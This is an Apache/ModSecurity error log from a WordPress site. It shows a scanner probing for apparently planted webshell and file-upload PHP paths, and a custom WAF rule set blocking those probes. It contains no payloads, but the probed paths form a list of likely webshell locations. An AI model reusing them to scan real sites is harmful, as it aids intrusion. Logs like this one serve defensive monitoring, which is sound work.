[Sat Feb 28 22:30:47.819835 2026] [autoindex:error] [pid 39183:tid 39195] [client 185.82.72.102:60019] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:30:48.129729 2026] [autoindex:error] [pid 39183:tid 39212] [client 185.82.72.102:60019] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:30:48.450592 2026] [autoindex:error] [pid 39183:tid 39211] [client 185.82.72.102:60019] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:30:48.759025 2026] [autoindex:error] [pid 39183:tid 39204] [client 185.82.72.102:60019] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:30:49.082029 2026] [autoindex:error] [pid 39183:tid 39206] [client 185.82.72.102:60019] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:30:49.413993 2026] [autoindex:error] [pid 39183:tid 39198] [client 185.82.72.102:60019] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:31:25.280148 2026] [autoindex:error] [pid 39183:tid 39200] [client 185.82.72.102:60019] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:31:47.839147 2026] [autoindex:error] [pid 39183:tid 39212] [client 185.82.72.102:60019] AH01276: Cannot serve directory /home/gigfrag/public_html/.tmb/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:45:52.436580 2026] [:error] [pid 39183:tid 39203] [client 170.106.180.139:50258] [client 170.106.180.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaL_oBCf4HvhVePw3LalewAAAAs"]
[Sat Feb 28 22:48:10.986438 2026] [:error] [pid 52460:tid 52486] [client 13.71.191.191:14278] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/index.php"] [unique_id "aaMAKrLWOogAgHGh62TKtQAAAZc"]
[Sat Feb 28 22:48:16.863717 2026] [:error] [pid 22194:tid 22199] [client 13.71.191.191:14303] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/termps.php"] [unique_id "aaMAMH6mbajs3bzQGyu33AAAAUM"]
[Sat Feb 28 22:48:20.500098 2026] [:error] [pid 52460:tid 52485] [client 13.71.191.191:14325] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/images//caf7c5b3a2.php"] [unique_id "aaMANLLWOogAgHGh62TK4wAAAZY"]
[Sat Feb 28 22:48:20.948500 2026] [:error] [pid 52460:tid 52464] [client 13.71.191.191:14219] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/images//caf7c5b3a2.php"] [unique_id "aaMANLLWOogAgHGh62TK7AAAAYE"]
[Sat Feb 28 22:48:21.422921 2026] [:error] [pid 49763:tid 49788] [client 13.71.191.191:14327] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/images//caf7c5b3a2.php"] [unique_id "aaMANbTHSOG_yf2PpqHmIQAAAdY"]
[Sat Feb 28 22:48:21.841790 2026] [:error] [pid 49763:tid 49781] [client 13.71.191.191:14310] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/images//caf7c5b3a2.php"] [unique_id "aaMANbTHSOG_yf2PpqHmJAAAAc8"]
[Sat Feb 28 22:48:22.266946 2026] [:error] [pid 39184:tid 39234] [client 13.71.191.191:14319] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/capabilities1.php"] [unique_id "aaMANltZF9Zd_U7easDvzwAAAE8"]
[Sat Feb 28 22:48:22.700928 2026] [:error] [pid 39183:tid 39216] [client 13.71.191.191:14290] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vcard.php"] [unique_id "aaMANhCf4HvhVePw3LaotQAAABg"]
[Sat Feb 28 22:48:23.186482 2026] [:error] [pid 39183:tid 39211] [client 13.71.191.191:14316] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vcard.php"] [unique_id "aaMANxCf4HvhVePw3LaouQAAABM"]
[Sat Feb 28 22:48:23.619063 2026] [:error] [pid 39183:tid 39204] [client 13.71.191.191:14218] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vcard.php"] [unique_id "aaMANxCf4HvhVePw3LaovgAAAAw"]
[Sat Feb 28 22:48:24.104932 2026] [:error] [pid 39183:tid 39195] [client 13.71.191.191:14284] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/file2.php"] [unique_id "aaMAOBCf4HvhVePw3LaowwAAAAM"]
[Sat Feb 28 22:48:24.552501 2026] [:error] [pid 39183:tid 39193] [client 13.71.191.191:14288] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/file2.php"] [unique_id "aaMAOBCf4HvhVePw3LaoyAAAAAE"]
[Sat Feb 28 22:48:25.011108 2026] [:error] [pid 49763:tid 49766] [client 13.71.191.191:14213] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/file2.php"] [unique_id "aaMAObTHSOG_yf2PpqHmLQAAAcA"]
[Sat Feb 28 22:48:25.482278 2026] [:error] [pid 49763:tid 49773] [client 13.71.191.191:14224] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/file2.php"] [unique_id "aaMAObTHSOG_yf2PpqHmMgAAAcc"]
[Sat Feb 28 22:48:25.931601 2026] [:error] [pid 39184:tid 39241] [client 13.71.191.191:14275] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/preferences/admin-ajax.php"] [unique_id "aaMAOVtZF9Zd_U7easDv1QAAAFY"]
[Sat Feb 28 22:48:26.562737 2026] [:error] [pid 52460:tid 52486] [client 13.71.191.191:14286] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ddgg.php"] [unique_id "aaMAOrLWOogAgHGh62TK9gAAAZc"]
[Sat Feb 28 22:48:26.996328 2026] [:error] [pid 39292:tid 39315] [client 13.71.191.191:14276] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ddgg.php"] [unique_id "aaMAOqIAO5fN7BxyqcGdmwAAANU"]
[Sat Feb 28 22:48:27.423308 2026] [:error] [pid 49763:tid 49787] [client 13.71.191.191:14324] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ddgg.php"] [unique_id "aaMAO7THSOG_yf2PpqHmPQAAAdU"]
[Sat Feb 28 22:48:27.898942 2026] [:error] [pid 39183:tid 39214] [client 13.71.191.191:14308] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ddgg.php"] [unique_id "aaMAOxCf4HvhVePw3Lao2QAAABY"]
[Sat Feb 28 22:48:28.329953 2026] [:error] [pid 39183:tid 39206] [client 13.71.191.191:14212] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/cache.cleaner.php"] [unique_id "aaMAPBCf4HvhVePw3Lao2gAAAA4"]
[Sat Feb 28 22:48:28.904772 2026] [:error] [pid 49763:tid 49774] [client 13.71.191.191:14326] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/cache.cleaner.php"] [unique_id "aaMAPLTHSOG_yf2PpqHmSAAAAcg"]
[Sat Feb 28 22:48:29.351066 2026] [:error] [pid 39183:tid 39200] [client 13.71.191.191:14314] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/cache.cleaner.php"] [unique_id "aaMAPRCf4HvhVePw3Lao4QAAAAg"]
[Sat Feb 28 22:48:29.799048 2026] [:error] [pid 49763:tid 49769] [client 13.71.191.191:14309] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/cache.cleaner.php"] [unique_id "aaMAPbTHSOG_yf2PpqHmUQAAAcM"]
[Sat Feb 28 22:48:30.282810 2026] [:error] [pid 49763:tid 49774] [client 13.71.191.191:14305] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/ourLB.php"] [unique_id "aaMAPrTHSOG_yf2PpqHmVwAAAcg"]
[Sat Feb 28 22:48:30.779138 2026] [:error] [pid 49763:tid 49778] [client 13.71.191.191:14329] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.tmb2434353s/index.php"] [unique_id "aaMAPrTHSOG_yf2PpqHmWwAAAcw"]
[Sat Feb 28 22:48:31.209853 2026] [:error] [pid 39183:tid 39213] [client 13.71.191.191:14259] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.tmb2434353s/index.php"] [unique_id "aaMAPxCf4HvhVePw3Lao6AAAABU"]
[Sat Feb 28 22:48:31.680660 2026] [:error] [pid 49763:tid 49774] [client 13.71.191.191:14313] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.tmb2434353s/index.php"] [unique_id "aaMAP7THSOG_yf2PpqHmZQAAAcg"]
[Sat Feb 28 22:48:32.123501 2026] [:error] [pid 49763:tid 49767] [client 13.71.191.191:14234] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/bolster-theme/include/lang_upload.php"] [unique_id "aaMAQLTHSOG_yf2PpqHmaQAAAcE"]
[Sat Feb 28 22:48:32.550078 2026] [:error] [pid 52460:tid 52475] [client 13.71.191.191:14223] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/bolster-theme/include/lang_upload.php"] [unique_id "aaMAQLLWOogAgHGh62TLAAAAAYw"]
[Sat Feb 28 22:48:33.010666 2026] [:error] [pid 49763:tid 49779] [client 13.71.191.191:14287] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/bolster-theme/include/lang_upload.php"] [unique_id "aaMAQbTHSOG_yf2PpqHmdQAAAc0"]
[Sat Feb 28 22:48:33.446840 2026] [:error] [pid 49763:tid 49776] [client 13.71.191.191:14334] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/bolster-theme/include/lang_upload.php"] [unique_id "aaMAQbTHSOG_yf2PpqHmeAAAAco"]
[Sat Feb 28 22:48:33.867943 2026] [:error] [pid 49763:tid 49773] [client 13.71.191.191:14221] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sundax.Php"] [unique_id "aaMAQbTHSOG_yf2PpqHmggAAAcc"]
[Sat Feb 28 22:48:34.312889 2026] [:error] [pid 39185:tid 39270] [client 13.71.191.191:14282] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sundax.Php"] [unique_id "aaMAQhVE-FfM89u7BQa14gAAAJg"]
[Sat Feb 28 22:48:34.751452 2026] [:error] [pid 52460:tid 52482] [client 13.71.191.191:14315] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sundax.Php"] [unique_id "aaMAQrLWOogAgHGh62TLBAAAAZM"]
[Sat Feb 28 22:48:35.192281 2026] [:error] [pid 39183:tid 39206] [client 13.71.191.191:14331] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sundax.Php"] [unique_id "aaMAQxCf4HvhVePw3Lao9AAAAA4"]
[Sat Feb 28 22:48:35.638417 2026] [:error] [pid 49763:tid 49789] [client 13.71.191.191:14323] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/pages.php"] [unique_id "aaMAQ7THSOG_yf2PpqHmkwAAAdc"]
[Sat Feb 28 22:48:36.084884 2026] [:error] [pid 49763:tid 49788] [client 13.71.191.191:14249] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/pages.php"] [unique_id "aaMARLTHSOG_yf2PpqHmoAAAAdY"]
[Sat Feb 28 22:48:36.515186 2026] [:error] [pid 39183:tid 39195] [client 13.71.191.191:14217] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/pages.php"] [unique_id "aaMARBCf4HvhVePw3Lao-AAAAAM"]
[Sat Feb 28 22:48:36.937304 2026] [:error] [pid 49763:tid 49772] [client 13.71.191.191:14280] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/pages.php"] [unique_id "aaMARLTHSOG_yf2PpqHmrAAAAcY"]
[Sat Feb 28 22:48:37.397110 2026] [:error] [pid 39184:tid 39222] [client 13.71.191.191:14306] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/contao/item.php"] [unique_id "aaMARVtZF9Zd_U7easDv6AAAAEM"]
[Sat Feb 28 22:48:37.815090 2026] [:error] [pid 39184:tid 39240] [client 13.71.191.191:14273] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/contao/item.php"] [unique_id "aaMARVtZF9Zd_U7easDv6wAAAFU"]
[Sat Feb 28 22:48:38.284293 2026] [:error] [pid 39183:tid 39194] [client 13.71.191.191:14163] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/contao/item.php"] [unique_id "aaMARhCf4HvhVePw3LapAQAAAAI"]
[Sat Feb 28 22:48:38.756582 2026] [:error] [pid 39183:tid 39211] [client 13.71.191.191:14172] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/contao/item.php"] [unique_id "aaMARhCf4HvhVePw3LapBwAAABM"]
[Sat Feb 28 22:48:39.199153 2026] [:error] [pid 49763:tid 49776] [client 13.71.191.191:14292] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "aaMAR7THSOG_yf2PpqHmrwAAAco"]
[Sat Feb 28 22:48:39.613987 2026] [:error] [pid 39183:tid 39216] [client 13.71.191.191:14322] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "aaMARxCf4HvhVePw3LapDQAAABg"]
[Sat Feb 28 22:48:40.055478 2026] [:error] [pid 11791:tid 11802] [client 13.71.191.191:14231] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "aaMASGuX5e1Q32gqxH3eXwAAAQk"]
